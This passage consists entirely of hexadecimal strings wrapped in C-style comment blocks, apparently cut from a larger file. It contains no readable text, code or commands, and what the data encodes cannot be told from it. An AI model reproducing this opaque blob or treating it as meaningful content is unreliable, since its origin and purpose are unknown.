6ec8ed14c45f6f5ec255ee074ebcd8f9daa309633ea9f70f86ea6a8af991e955bff4821139fddee1cfee6142d164512e65ce8f5eb0c76d011e2552d1d0273237e1dbcb6a4baae4f235ce63f8b9ef61c957ea55e1f68266fc6dcd2f841d29ff3dc20094ac704ce4e3fa82218fe1c7bb2bc79faf69760ece11fb17e5e5ca1e2742266110653f3c4343c7473b0f96315dcbd67e0617faa7b255c62b2b572d03ef7e8bd05d779e5370e7ff67660a41cde1dae9561da7a60927edfbb09543f0aaa84142009431f7ba8d3b1ab6b16e2afcd322264cf4b1814fc4fb5aeeaeda6d134c3eabf8a7a1944bbf9c7e63a85200b2ebeac7a469991560e288d39bbfe1c8087073af51f63dd9fd26d78b829e915998cd1f3eb53bf2b087b00f87cf93439ac2ab732c75f5dd32ed2116dd1ade57f09169f4ae703930f5e3411f278b14cdfcd182805db3858d28ff378b52d18672f4a4e476037a5679f9c7e2382b1e3af532eb964929a1b63f6358363aa83deacd07cf55f2b01b96457f4f50cf921a291e6580fe3e869609a0d3bf2a10381afd75e0f283f2bd064a36c56f537182bbda4bf99ef656f7099fb345298622cc56d979e90954b4f161fba449c5c9de4e6c4b6ac95033099f29be4291c903b49ae4368403c3ebbb792277d4689881cda50ea0230da8c87d78035dccac47f1e4af0b8f25e535344f316f47c666b8131c92786f74f72a06c84a79461c7170c0e688efe0054b2f8b8049591ad20660dc1e32bbd54f7e50a021c8b181f812f3a9156cbc633b621db7bd00b8812288f712cf44da1a2aecc82ce28ff7dc204ef2e59f6495de760cfecb2c681f3bd7837277c28e20cd1e6e926e6deea5fb1d7eeffec5e280a6465af6f85c0b788522f4282e502feaeb1e3814a266269a512db2184e38da051808f613f6471c49e116d36dd1bb2b50dbfa9841cb3875f6a5b0ffd5d41704c228f2f9660388ab04c85974d890fd91f91f1a149cff939fdb7f062dfd5253b41550be9b1fa796f8a77a95734d72e6044a145051145cb832e44ec6eb4bd15a37dd4216d2eefe0c8f4781053aa16378990b052950e9020feccd02fcc2574b9dc8d3e54f43a492792a32c6fdd752f245e647ba97535d48d6616ff6be31797d1596739277c1534fe8dfd7bd0daf722b287626e8b533485aeefe7c8e1604319934bab426edb41e6195b1afdec37949ab814e02a08eba5b5a90ba4d2f9591fbecb0e2b231d1fbe41b8e95e99bb820facad49d91bd3d932c0ac741ac0087b33c02d0e8e99f92b97df13c920bdfd900509ae06c2c82a481a4b013c7fae97c3db180acf206b141466bccdbc64bfbec64d98378d2cd94f5f20b1ae4f*/
/*f9e3be19a2c7863a1182109503190b9121204ec8c646cf69569d529753800c02f48814fdd1d0d5454d31e000d9170808be90bd1b191c9722243f4f15514d507f9b2dbfd666f6d455fc8ae8715c4dc1df5a795afdc849e97af946185e452a6f3c05deb08ca71344301e85c7e0f0ba3dcaf8d26c9be8894482d23582021115deda768311fd8d34aed8725a827b81b6be11aa174b40058b873a1a830f2adbd5ef3a195e9ddc3332e8fc58868428be5ecfebda321e4bdf86a378d006dc4f2b1705a943c584dc8947efd09a08c3ff0577983a22409442825ecd6d651c384621805c226e172ceb487e08149c581573d9db8a4f77f0b9117602169c5c743fc9eab1efb82c2282b2eeb0a0082ad186449301e7410a5cc693e903c348673d1efe9ce2c158ceb9e7d2d6fe47025dbffb000421c3c03bb84a3880c75672b902f7efb5ac10e943a8afd58277eb4f2d35892b26e63b314238eaec895b27ac47b4fd9a39e074da283f42d8e510bc74b1c0070e7302f441fd64d781d5b6f63d7384dbeb2363ba35204ccb84cc29a4c09f1ed217659ea5bf5206f56edee817a2c3b9ccab93a3530a248904d8a4dcb2aaa7fbb1b6828a36cad6dc9b53cf2c2a334ec79fa8afdf2120930d1bb16b6ab05d730d348a4054edd19129ba9dbafd9e0fab76a8139d2b146295dccdef10dfc740bf23058a9061969eb0d0dae9b754472cf036a04efccce49266fdcf85ccd1d6195ab090d47a1588433f22fa4d10701378a5128b640ba627fb37ef869edd8b478693073943dfa33c511d58f78f83257218c80797be80ae549d8e45f3da6cce17d2e4c00495aa6edc4e4e07ffedd09e98c39b34e5b970cfde1d27823b5761893e2ac67feaa644a4d044262e10026d5e47a09d42f42bb99bc5f44ec7e3113a692862e608dab759dbfa7f0e40bcd1dc89b9e12b554e17f4b95c34954ad1cfe171d4a0e7e953ebd4b6e75df7206486b7a4c40202f857e3f5363f1e46d4ae221cc15c566fa06a59c1b95fe8e5a850c13272ab4489ed4be14da1242613b68ebf85027b0cc4d1c31dcc45e5afa582e9b88758d336aa6eeddbec9cadf2af0253d13eb149a52baebadd6d8135557b076a400a87eafebf82c78fa83b7196135e28039adcd6712a5fa7f47d4e7cdd553f07b1c21f13ba29f18a50d6e0c9b6735b60f79b715ce5c000e3d82b0084fb2cb3e72d22f2971a365a5d809fd9ab3bd4663aaec01728835ae16467280674e311acb3b101b34b20dfd7e3c7e15db88aca195bd47e531c73294c49b84247134b54dda16c6d4cf7e6e4bdaedd502e5e2a707b08201abf042fd86f76f7bf985c13cd7e57be308dd7d21cc4b613540008025db1575848ab921ecbaac993d58e4a5fb30b8863eaa91fa4ee73ade0c4c4790f7154419849fae2f66df9b3cf059bb376e1e6d5b56b187c37e1745d5068c3d0a2efae6e61d38661e511de059da4003fac0200ee03f4acc7afb86225116c37848c9239c00918f3cb94646a35869b2d32ae79b07afe2378d8eca594f1a0ff7cd077344b34923658c347ff8f4fdb874fe0f874d54cab4a3a3e03945315d848ecc7879ef1eadbc1b52b3eddcbe74d4ea369a41194e32fed882a4816be32ad868ce301b58eece106d78e8d4ac7b6a4b0f2b116aed39b39a0228f5209fabd00cc25208f8825afa383c28b79fa7e55a789c17fa748aca765b5e53f22860f96902f9fe314fe78fab23bc77d15de325d0cb5eb75bab0cba3dc0bc66750f9b57d17b11cf9591a807dfae39472fd4cd81ad57fbcd8a351d5e026643f21c1a16f9fd38b022fdab2de85dd1283f643f157b309c7c6a04e9f4f2d77f91f991ace39bfc41ef3dcee3d56d65bec7b729ae312ca536c8b9fb65917db28d99100389b0a13bd11c62f3994eda641c676e43ed064489c0e209d9c6c19e45485affa8e27b4373473a224f34dc3cb27b2761e9bfb128ca3caa8fec3b5b256c119685b93e7939488feb21208c49a76ae48d0a1de1c1940642b02bf04a499c07d4d9fd1ab57412bdf3deedf9ee118c82ad12aefd1b5fac4781e32b8efe0fcc73802521b71bcbf2983a2aa5fcce585178f3890fd20ca907a9210ffd0e35b2f64ea376e26f3d0fcedde061de1751b9bd1ba90bb4481f6d647c0316b35d6d9141d1c3eeefac8428208d1c135e963b14cac806670b459706dfe7035753bccdea8580acb098805199f94a992400bc4f7bcc00b03993341fdca5f630db20a3e3c00d2b7cec2f9090890442e90aa43bbf97d1e334c66c1a9c4db21e942969c76698b55e35f9b06b41aacdc5b8347540610f3b989a07077fba7b57d1460f2289f093d0467e71ba57918d9eeda91cfba709a0f4e762f63a047c8f9ae0f36f6e219a4e4c519dd11bb3985e7c21d897019ed5c43c0a1b177bdedfa7d9fe1de1dd2b65dca6681a8d9e7093bd55551aaf7b5dbe0006bdd196c4dfcba41aa00a6aa294d21a5c7a1164b6f7fd5b314897f788260e3659a6eca699b7a834da9ab17acb5871a9d8c8e02253425fe92fa9e11fefd47df8d1dc1c75158b2a58ea8c22d470fed0fc4b3c80c24f8bc3fea66bb9ee4d9adbf16723f86a44d60140057b005c163fd1bf35cd899fd00bd53704d9ebb39e632e1a0440433182f871a58308978abb016ab36bb4cbda475694c3cda74cbd6f1335bbfe9c3c613cbbf403e2b5f58b8ae4cd9226213794e7e15dd8cff66c393f70e19a5b0352a68ffed2c9f2ceb94fd20fe33e7b6dc39c9ebefb32d1734f95ffe2495334d830c8b25ee74614dce29b65c44f109713544f21b009fe4743313c6af2b6f40044c11f5c4b295aed6b1096ec042*/
/*de6e0584187c170cbc384ff1524690ba7a775ebbee1c7c9fc492ecd1ac68278e432e8da6157893436a504ea951091363e90746982b457001e73a2fe3e6ff3b77a8acc53b5d2eee259d61a96c2105e7b1d5db1575219f4a42094f90c05ef086333624b07c86e1f68d02b4e34929dd91ec17b30cb40cdaa179f445b6d64dad577afb6aabe0fd16f13aa64d13fc794082af98184d0ce686ffbd6cca51bd2ea09659614dc08ac3458510168fbbbdb34247499e6296277ad30651c1ff20c6ed8691fa3ef1f3a52eb06c0372979d144cf5a3891d95557d12d100b5fb1ca584b02cffbb5e279c3df1f5fe0037eb4568d1230bf412eb01fcfa355f0f701e44280136abff8e8bf971dae67780298cdd455da4568d1c3be0b7d99715c303872f8ccde1a7f9518f6e62924009c5527164ffde1814ffdb13d1bf64680d940f71aa3dc3a2151c3738fec1d2cb705bcea5648c72dde8ccf6e7c2db7674082cc6a36c50390aa9a61c4e623cc2b2c031460eba26f9a38cb1aa65ded7f75d53b220151e7d7e8a9e19f768b630e4f35126f6b830d817a1fc932a4bcc7b21b1543e15ce8df0dde4736dd656508b8307f9641471fe26e817df8162bc7bc6a1484c9c907f61fb9615c57b2f71012f2475e5cf0e9e537ca6b98b935084622a1f9bbcd2ba51dbace81b313e915fd488bf213754ab6138e0f84e223f06c4359661f282ce13a2ff1ff320c89f90b778cdde318a38bad4754197c20d261f0e72257c72d139a53f7b3ba4a2e609a9fdb66e9f23ec7082e001b40d7241334e3b8c722077db2afea01b8976c87e70597cc7841d6ac25121a6211698ef38b109d7baeb02f1ffa8aee0145eec90243eb0049f72ce849ecdd2fc569b661a82560f9cd5d4b07fc5f28871ee7b9990abcd1889a1d35b99fcfe4bfaa7122fc63ffa6a48baa2e0e4599cf281f86a24d8a3e003f33fe1c4c08eb447a41ad4926b7d1e523eb1cee39938e7a093b528a23d44a8d22ba4323aec21a0d8ef51346e980952f2edbcecfa8a565540b1c05b07497940709a16c0b89823bac0e571f1c701a4b706531ddd219099993421c6c03590a3db12985dbdc77227a53b8a252979ccdc269e35c31c395c15a9264e046a6f3c00a86adab836fd8d2720ab276c37f22e845933251158c540c1bf9381a9bc0b88587a05b8000ad2a211d78e075784865cbc81274b258dd52652afb7f0a2653fc887668bb292db0bf245e8cb1dab22550df6bd40fd2256da77d946ad36c853971f10e77eb3c57f2d1b982d187acca9fb87571f587f5937add6efd77907cce61cd121ed321ef97d49ee86e18550645747643de681af533b44434142920ac558966973cc63747c5516e3b1cf29706f7315a4a457968b99b3fdb6ca5ed89af76e3afb957b7eb26a0a4a82dbfe4ce950372404c60f692ac02a1f561065ddf98e2135e29e7b842e8587196fe034894c65c914d894debbce122b7fc074f184a0da21acb9d83006e49a6c42b2de921ce23cff87afbdd03a9d3f22506be37469a160a88ba434b42da5234ca468ab031c7d2e660ce76c326ad1b80127c17291134367a99af11a048372c70126612fb6372bcdf3b6b4e1a8c6791fb49a68e7d94741344a9d799333330f2ac7e6c9f0afd3bff021101f2c7d0312a5201b3e7267b89523f9ca92e9c9da8f46c050905507e8cfa2480d792177fb997c17ac50131163e6cfa3e92e8dcbc859f5b8930033679db43422f7082d86ed3161e19a9999dfcf9a62554fe0e4bc77a728e2f691c26b3c7fa73f3dd1e227f318df46df7c3f6b4dd3f1e798564502b86784ff852d4cffb79072192706ed7b37bcc3df0e805bed0182b69d04b04c56c673a77e5dfe19bca74684529ff33a8f1a26621f1bad457014775de5da66040f73a05337bca91077e13b94f0c3a30e77a74c4dcafcbdd3d1cbc442c99f2a3c42f1bcdea620fd7349c01e5d5e9f488982e273bdb1be55032f22327865ea42d338135774a13a2338fb082406e849ccbef5c800b670c7440fa9bd0382af410a30a341d31945a92e5acaa1873c7973244b3da487db2f070c6451ec17d8efefa8a1834a6cdcd98914b64a9f32fafca905c65c563a8ef2f5c774560524601be39933e36e8b313ecd5dba00ddc29473a462988ce4e3e3c6340895a8efbaf443330818157aaa5a9f20fad10406b8ae0ab44e0c6bb922a5d426626f1e2fd8945e264ff2017151fe4e6226b858d9e4e982a984a105d13b02349505c56392ffcbe3e631213baa04f35ea8ff45a684165d4260d1dd78e93faa308eab40c45c626706570bf22d2ef642214bc00ea64222a0785fdcf02a2a6951bb0f8542d2d9b28bc2475135bf6dda6f232c6bb0817447803f703287ca1367dc762fe333aaff26dabd8df84ead605fd48845979877536e5e7b4d165aaf25a92812e174a1fdd6c8ed1c6c67f7d652c0071bbe992faad1c1ab02abe7b1a7b475970ca06e19010886030fb02e22bc74f1f9ca13a87c55a30b100131e978da8b6de9871569de7896f4988f8ed0f834873a5397785e4e408ca1d80bdb782b87a8cdfc7a7a0ff2e6b9af580ad5e49c7a4d15249e710cb7184d9ecb39196323a272c7929d3cc1a62c7c8d37f821d472a32284231992c5e4734c435c5239afb4068e060b343c16be3cedf7888de72ef410b7517e31e1f8f99b3ddcf83458449edc89573a87ee8278b683a7f7ca56abd08c398d18efe67d34ee761f4f0185a0b7287d59af6ad55d3b11fe77f22ca9c7f07e255e646877b262021077975dfae24b4ef9419847a197b069d89880813bc46171f3af1058c4488fff4b6730f040fea13f*/
/*47a0f6a1dc9484beb1dcef82a254f8ac0017181f2c67ec9e2518643584d59c0298f9fde62a1ae52fe5593ddfe03e9b3e057d821d91f55d9a27272aa966bbe13a065bdc12dd4fa5f6319603f2f7a506348b3b7ccdc492c7d5ed66397f5547a58de11b64887937e98183a6ab1e979ba1aca16c13204ba72af37cb79c33df14d96f2cf34e0b44a1eae00e164d468c9ad7def66d46d18e21b29cb31ec5820702b133318cacab810c35029436d3c96e1e71ed4f00877b629ed62011bb051826c1e1f286d278bc46ace6fc0770710cf29cf0f60340a648b5427408260b55905c4f0c623e274ed7f5518e9aed100dc6a6c42aea0410f437929c00d7c518c6f9223014f42bf68c3916dfe5cc471d53f235429382bb6956e01cb6e03e8437ced47517933e8812dfbd2e5505bca4de9893ce3df094dd1889e253342f7f83d78a3a8ddf5449d2280c18e43eb7989042dfa9de7527abd6da94c5963121f1175009434a43a78f2d5f97cc8d41a351bffd774c01b401e332bb1cadfa0d5b8c30fc1228984179bf520b54edf77ac617551c44a659220620d15d416a4a914234edfaaf11a78bfc222ea3f0449e3dfab33164ab85414a1b65e96c593c624f1faf43e9c4453bd5e86be99886f50cafe41931c5a6ce4a9deb4dac294ec8fbd4c7f5bbe74773270fc510d6f43899bb6e0194c5e8d1a1179bd23f9b702750fba1fb40f4833315f472fadbd87eebd72602201485a8a2e179530ad0e24e80231c15b3cb0a68a837b275274e945686d72529e368f4ac764adbd8f19320f41a92b7d70e7be9024b58d77526d604b4b756729f63d9ad980b664e8247a1ce5d85afd97baf7348b6c22e61cace0d455574eb6eed1e03b76b3323c86e2958c396f1abd7d65d74f298f9371ec40a9ccd65c4775c30dd96616ba17f9adda81161c2962648651cbd59b695b25faa578004cd7c568b76bbae9720a68a1883b4f724ad073ddd8e056bda955577dbe9df7c02029550d5f329a4ea19a3f7331c5f529111b33c9f16452a1a0bfae2ac530932e06c26b3f14e2d9de222e332d1c7c2e947afa2a007ee7664d04d3cd1444d201fcf35504e68a2bffa5feb1e895f1136a2d9027b810e44eef579350a2487dd47abcdde9113ff2b39fe9f612a208ec828068d2dfcf09ddadea025fd36d394b453b396d1822f3ef154909e250d10996627f61f8dbfcce7ef6dc43fd56399eb445efb54c55d47a407999a9d4af74cc626793bc38ed90d89e5cf1befaad658ac60cacc0e4907232da347444f50dc3dfe8fa5412499604aefc1c2e61087dd61c0c532603114f5e1e7d457d2ec8e56fc464f20db6e87eab9dc2ce09fc267e42f540e99198d33d698106ae84bfbd5330cb986fdf221bd96cf2a52c95ba7a99f89fe7be473e9315033cb4526e84e7052eb44a501ba78c571bed3423a6aac8602075082e24362f76a884f08460e164e88184ea0d424510aceaf25e9ab7e0048a94ac9e9d8589ad11b432750bb41eafab4b7a7e7fffa27576da2f62ef87ec43f165965dda31bbc27fc677c842522f08ab9378eef488be41f27a3d66205ef59898f6b44643be28f6dca491b2c6a417e8fef3972afa5f0c4fcb82b294dba579ddbe8b3b4561255cce64d7e1152eabae41722f5de6434a3ba0a9a57fdf88bcbbc5958aed11fc22cee9bdb184cef48dd4d72a6d778827a60283dca033a0fc636d06fe6df866ce62c0f7dac01d8179d52bd29587b18019ad46f00ee12119293b38d15d3d0bd071126d04c0c60324613f881253a41f00d314a1b65d9353fdf7aecee24f2f17e2b457f5c0e0dcaadde9603ffd87699d4157477850db01d6ec28214fd0662ff85b8289a557eb655eda60635f19444dbdb31a4d1480a76fb16649874daadaa9c6c115bb3d7e95c95d75d1beb58a682e674ed96539b99309a828e76d0538eaa486ae0c7863862bfa37923347e2d4a394134a05350a8bbd20c04285a1f88c948d91df2d18ca0742cc6d07b1df086de099577509623fe76cf1823fed1dfe5bbf6b8643cfae58846440dfd25cf064237ddfda1fdf8f6f4023f4a7d9869d4090ab26ef78a1c5d08e523cbcc59c142ca0a648923f9209a3e03f74704dae7f0455f8c5fbcaa86cf843d28687fd797283d669fefdddaa65c3b1a5dd65fe3f3cbb444287eac2945b418874862b66026ec391cf8a62896444f071697865761edb6086451a1467b0847776da05bd54c5dc6d104222e5f1c525afd1fc5e61a6fc01c36992227fbcedd956564984a817eae315f52cc759da01edc60e55f210afcd9826e7582f394066fd7e76ff4efced3685ae9e2d42bf00330160ad3feabe2226b956cb0beb4e06dbb0a5ea0d432d85736a273b4a2449f4e2663de4237572d6a0b86ab3e49f7b4175f005de93d29510b211e7da911965142a28122d947792305d40267efdac2fc95d776bd97fce8e4c748a53e1d3cbda9b5d5e11596611b9cca1ed074485feb7cc1aa94d1a53dd10a05a3181e5cac9467e340c07f0937e44c0db632ea9840fe053ebb56b25624cf667ce192cf229517872bf088bc92090b677e662e0102219fc57e09e9f3e3e8038e9c1523eba644ee03f92aaedc9ec27f328748c4889c69f9ab920589f05dc016b288175681d836c96a0f1fa99523d28bd2c0e5e3cb7d2301650775f917edb242dc9691d7ea47f9933e218cd04fa7478615c4a87e7e6b58534dd73d204c6d38832bcf8a4ac8dc09693cd63984b441646bf6f9437fac2ec270c4868bfabe7131e2d8c06457da9258832e9ac4645015ea4482ba2b8d98a92d30d4f21a3cdd9c4da5e908d3b6574a6fb0f8105f6f*/
/*0aa09353b1bcabfdbf17224b5808fc10e87948886fef166d6f486e3440e068fe2b82bd51163581561ce54851d8a9d9564ea28d83ca4c82b5892992d8eaec0f0871c8b10bf2401da547ccf898c765cf2906f67e3559814b972920cfd9bc198bf7a8dde5c0136dc7be5860e6dcf2c31af9a94be630e036ffc3e8a0ecae39bc1c720b74edd3c5fc711c09e0675683a019f33e16da86c2711b6603e8afd2ffee248a93fc8b06a989852d86b2b86ac72adfce76fe10766e505f2a5fdbfecaefe89a18c1ae6866ec010e7f2bc10823727a9e94dd7c102c8ad30f33972f1c2cfb5deb0432f20fe9c8560d4645cc03f183c4edc16b82ef98996c939e5ce09ec2c02ad71e6c484728a8ac07b306a2aad6562379fc2948c8ae808cecf374c4cfe58f8e3a041b46d3e280778415170f4250584a7cb4fd278f4cb08b1ca3cfa13af189626154d5f21c9d3cbcbf7acb00b64ffae20862d778e481bc2d72e9a5be2ba2371534462db43ec441842f4c24cb8b506b2a19c5bcff442b3acbb6cda83315da9b87fb399e4013589fcef697cf6d2d9b53c3e2d02c3216aafb726bdb7481817a6bf0ccb2371a8d7e4fa0c2d63cdf01755fe2225b7626440e58e0e80f70b0342244ef579d797be776a5df1e6bd4e3db0feecf2e7b63e666e28d41a6c65e943163227650d2e87e2bf55dc216133feb89d503e3f971eee2f1de61b16384d4ba4a9ec49e83c5f6a3d0b0a45dd7ddb3d6371184ee3ff7968435fcb5bb06614eda74fee4e5b136546e8452c70f5feaeccaffb671b3089e1624f719a763f165f533b917d5fe5a96f6ac5665b1119e56b9fb542e27d0e72b30b9ba13e9cdac12fa6e979f58bb4b1134633e8eaa20b0517840eff1c0599d80fc53c9cf9fa5a8292ae041d6887f4cdb00db8643a47a00f080d8291e4db474b11e1e15dd868c15b7b3329d6098d0a455cccb744deab93e77c67c10beebcc794f93abf0dced2c4366469307e31be39cbc4deff50f85e4907cf2de93bf26cb44390dc3fddcef247eea25cf9147a40b0bdc6f59e20ea5a5577ff159c887222ae491d598aaaf0a5b736d6293fc65eb7d6d17ce0d962752183c737b6aa861ceb77229e4b2cbc7878b933b2d909d934a21be1b611034cd8b31d532f54005986bf13fd7ffa3eb248ce8dae275f07ff568f6c294ece749b4b2f0d9c0d7ca4345b947d30670a2d3246b8f4420b0861403d0814d0f8047450b00954ce3e02125241b301d048989e5467daeec6779b975b3727e392b19113b77d35a140f35271571aeb665da8aa606fcd5f14cb9ea5f2c7f26d106390f2b9dacb95bcec770949b8a89fdaffe04d3f6d28a12387ee22eb59ff5142a5c5952b535a15f14ae301c5f9d3fb3ee295bdc8ab5f4c2ae2b0d55975637ce85cbd10ad1449ab1930058fd217671393f9d7add482779d4e7d3c04930e870644c6ecbcd4416df24469b001ce110ad8e4a479d59685cdb977ea7644b414cca2db94fbb123bec36d9eedb159f860af7bc00dbe2c063c0c604b3846321ecc0bbea3306fc8dfb5be4134342de8c2d2ab8efc67b47581df6ab2df109da9d9b478a8b3ecf4d50e97942a1f5106beb7729aba60518c443cdc77f9f9df29672151ee5a6c91d126da55de4cb576a0b70a5375bebf7c0fd40602705142461c3ee09fb884b453104256b34799c176f4a5a5eb7b09257c1b1a60efb8a1c112e777614af1eca7b3a574b361b6e1b8e55f53bb20e428fdf69d10469442e245ee9ff736e89a2b7d13652296fa698cd60ac51bdd7b19648ae56be1c6df25b58a796644d8911587580b3e365cf90660a2dcbe9ccbd3a879c8c531e1d6a59688c7021b6ace900acdf3062862d1b49c8bc55fefd14e0906621ca8911c6cdb502a41c45615fad5e59dee57c67515a1038c94b39977cb68e1bb6de3fab98fe4a6ec463ddaf3f272d9e6a030e3678f0456c60201a4c947463682a58f4418260bf41d508ea96f6a2262ef0c9af4c627f29f550bd6e52b627e2e933505e0b3086256d0e2b6e6c4b14bbc10131119c1c876864190d2cf6f99093d73dc4b3ddd8e86e5cd0bfa1c4b22a6f6d0b1ecefb70d17fc191ee21af662301475721b35a84a72ef4de90a727b3f8f770ff4895e86938ff7222f2acce7433c130b6e636c9c629c736207040aee883a0e69ae8b6ddf9ed3f9c548451d68238ed87c42656d6fe89f757a1c92d8700bf7a9609ad4913ab635356130291751e82ed9b70de6890b43dfc8387f1a9afd6fdaec839e5f48c8809d668a1e35434ae6aac1cd046b70bba614ee5de16af8bfcb87e10cb8cda6dabd022d6b4da787ea065425700b5f2467e96857bac703db1e583a37384bf3c418e30df7eddd83a24783c4e956ded6c3b4b7e539c1d2670f9a25f6e99564a20602c79d4ac739405ec336682cecbbe1d90631b61e5064d7cf64aa0e7d5595c4bb27d8aed93756d7030f611d546102a92d319443a1a3f3d637c0ce2ed78ab6d734593013d70d2778a78d9375abceb1e0cb998174a0e6da51cbb2d51bb550d534acc63f551389a4eaf73b6f63b3e56f91462368146c79b93079002df3188a32cbafa6d6ac9e89c5184bf17e83eb34c54b6e1bfd5fb147581626a4e24951a19e0b85d2f950ebd78d60c603ce9f31898d4da4da52864dce9e75e80bf3b74de7fc6a41c94ffa80c920bb4368523de3cd872641adbfb29cadb6e66bab5f7ac985ad3de26ccc57bc426dde8209624bdac8bd0c594f98c60bffec3dad6cc04713a482577ff27fe65785f5132841060b559e3dbc09ada97d15ee465258f848d851b4f019173c666cdfdf426111e3a050a723d831b*/
/*dafc32008fc061d0c8598cf60cb5e41f5623a1f16d0bc3dc379d5b10cc482856e3451d2f0399d2b9e33d4f88314cb9aa9bfbf832108ef4aab1ba2d4a639f5fe46c566d7b7e16cc3f7b61e1f614cab3f8dc2e54f914b7f6cedce7b14e1bfdbdc0da36f701e50a213b63a817d0a60869338c1a3e6f03399c3c9dd473f9ca00b13eb1a6503abcaf2b7247b20ee51dd94cd27e622e7e1572627280fc43e9fce67e7d55750130aba9c285c970503699a62520a91e639d33a602d97c346c2cc26ccbd42788230267e5bb521bda51fb16c4e7589b8ac46007ec55836064b2951bce4bdc034183dd8ac8b19ef535ddcbd23f23ac06ddaef926b776bc320b4724f27b8c711773faf2ebd582a0abe2e003e2cf2ebee0f1e361045de6afc203639e9efa71c01c72d71511c32eeb187616b549cc07725f99c2d948486213c5a0ee318011fae1d4dfa3d377001d2e1fcd7bb698e1d657a06c46fe562b72d8d582e4926a4ae718cd82d937eb2a27737560bbd9fbd3bb73c3b249575d871fa0e1039d70241e08064a6aa90055ea1753c3b81093acdfcee709d61492474edcffd858c5ae9c15f6f3cd1b442b76d3a395ed38c2331173053205eee6232ba40b0fe7079019f58775be4edeabe9327e7f53f7ff6892e119e7737e845d9a25357914b770d1f84ec3d68dab203e8e8dad0d5ba44d75db7c8487b2f4532575b382e2f3b237472c49714ace25bbffca5c8248c6104e2879f173dece914986c0b9e05e9810580134392c1b7685c4db5f157a6ff6af9518f55e4a11bc1fe980779fa6647804099384cba3af16c72168be47816799a88e39303cbcd8d29be3255ebc42d4e03c6868d08a33e51ef363a5b3d55cb0bb6bdfd131ed83deb02e16dedde50bf24035266b9954adeee7b867d0458f7f66c2459831136954ea672927052839d5a254be9dcb556aeebf8f0f88da34690807391db22ff1885c2c2348f15c7e4d229aa849a83a8320fa1d36285c4a6c06213ab5517b0d21f06dfa25560509ae02a1d5ab2ec87aef2a8c6a4cd5b5142f1b1809935b4801573a40b4f1562d9afdfd8853cf10828d7d99571a40efa06a91669dab87c3ec87da0aeae9da833a92f14cade40635666064280b09e0e517650d60c0af8e131eb8ca3ac577ee6ff998ec4d04d71768cb28707f940be410936c41f7c283970919dd7f05c32545557e56df12d4d236b9533187f086416a394c6d103df214f66181aba07fcf6817e0fa1ac4abccda1a0b2eb1ba284272c27b89d8f98080fa29ac993e81e0d8823973b9842b67b1eb10c458b95e2a2cc7ff39d9c5173dd73a5e2b94849379f5bf4801a506aaa5bbf225e18a32aeab372e1e01ac522cbfc1e8a84497c3cb1c845e7dd4a4a784a70290e527af5cf99532c3225bc5116187314080c808111b0a1ec53c5981162fd9bd014df91ae6f0c8956c4be74e6702298880837cecfea2740725175b69dd90fba8380644ce8e6cd9756b6b7af884f774d3e056831fddcd65a12aa0fe535a770cd97196021d7a31b232c58d922954839d14a2dc5b1a3ad59e8026db7c89b0687331c757c673c02fa340ad1c62f841e77d40f9115562f03628fc768251eb5f2cc2beb81138977aae535b3d2f3614cb3b477b5a177055db154f22d59e6e60ce7e644559440e4912913594ba4daebee7afad13fd344b872fc7452f9628f4ef1b73853be582e6299bc67685535919a27634cf273c2c603c32364ced7c02ecbe20cbcae8457fed64330ab40ece9827cce1e7e4b51e8b8548dec3c2ed4cc3f5c1712cf79ff679f24993d72a4d11ee65dd9a8b8d7c463395a19fdf340719bd313eddd7108c13c2bb082ac5cf267a387a5060e2dae847552367829015fad376f0b59f65cbabe34d993271871a07e6e9eebace50025f85c4d7cf06786610bfbd7bd00ba7a049fc333247d19f4b2996a6887a8137aa93d441a3fadee5da9fa349b99234fcc8a1cabb5c0f2071f3daff6cec6d8dcb770b27dc384f4e8033b723bbb38f4e83aa68037264d48eca3e1d07fe6f05821a66a18f8e74ea04ce80cb2835a7a321f860ada62291ea100fdeb2cb413f536b533deff07309c465343ffe9d42e127f8441d15e74fe85dfef7b6dccba033b5b3c4b7decaa2a3799a07cbd6c624b4214d7e165965af27c444fd584b35e8d147612c6cfc3abcfc4a17eeeb15d47047fe67c3a40d5a58dc493ffee905f5cda110f58d17fdb60aafbec233a99ce04f640b17ceee35bb15c6af84df704548646447833d1d30cdd205594584e7e94e18840bdbad158084dec014efc5a689c7af5a8da698ca57de45eb1069cb8d0a1e32c21f48b55d8240d2139a88943c5dea73f9ff2a17f680a1d5fc77e722ace476be641a0f06444f520f9281e150822c67449f612b20df9c1b37c8019dde5c0347b29e26232f7be7898052a3d82b665365fc69bad86d6af2a9e0aa4ce40e06a3dded7dea28873d1091785ef43ec7ad6d9dfa87b78b6f67d7d1c72422ac8b92827e03cf2cc56b63b986430d1c67bd48e8876dc64d69b51d80a4254e1d28bcbcb5fc906be75172caf44e16f0aa6a38d1c47b4043d1b80ac8f6d67576f1281f1e2199d27cc93f89111f6b579898049446a0cc80b005c31df169b868b7082a4b884e7b608915b9e7451cda7f9cc68e0ff4c5a639854320bf1ac72d869734fa576489c1437239e3ae31111ce68ece87d7dfd20885b2fd91faa5d30cf5e8152689ecf92a64a68c635ec70b0fb6f6919c7ba7f748e1c4b6e958fb3e385c4197dd8d485d80d324da4c227b7569acabcc3dd196dc8ca89ac01c469df8fdf33b0f894d0b9620a2*/
/*d3c02bb9eb9a34ea8f3163fa4884c7da15eea7ac693cc34b8c70cb15bfe801868c2e362589acd0a615e7b88ae1abf35f2c79c6bf77442888b8070c75ce801def22f8a5d8df1f37acff618239aa7eb970c8392e3333c1e431c9cd734fbd73c85e06852f6011cdc03965b2aa425c7faefa52b711554609f0ed6f53301810ee9446343e28cae7ed7f9b3119f7a3b1317e429e7c8ffec881c19b21f05517491323d494de5e3afcb2dd13239845dfb4276578df8e207ea0fc6fe1013d8c860d7894824402864e2472d7339446c86a6ef04f132511cc57b5c9d02abfc1318d0f040e07e71a0bdcd6427b33ad06d8e96a16b357ad32df0e9ba7ce5fd035d280872f7e3e4ddcea71b2250f656e2bb7729b47f24ae4da833cc3b2c84efc0d9edf79a8f7b5a1a7c70f87e027b7c02277161345676f1dc4a72b380b83e0c49a689ddd394bf2f6e0399baa879dea1bcdd427a213ec218f8cbccedac24effb5f53e56f0fbad083af41ffc325d846d5729969977b38e6b0b7ed651b8d3b8458ac0e5210164099777e608e47a730e7fa19febcd7b9c0fe1c197b2e7c2b1fc631a1e46de99398d86b13300a00c721d51e93d739caadb75fbd0282acb66738a87019b3c81c8ab3f497524f5f0a9d4639c4e194b9835b55c1dfba06c9f6e2d7d9ca347deb7da3b138f7df34bd7a2380e4a89a855037ce12c05efc9eceedb55be1cf1b084e0052475e1a3281cad04e935bd39aaf8958fc4da81a955c10d812087bc97f6690b5898fc0f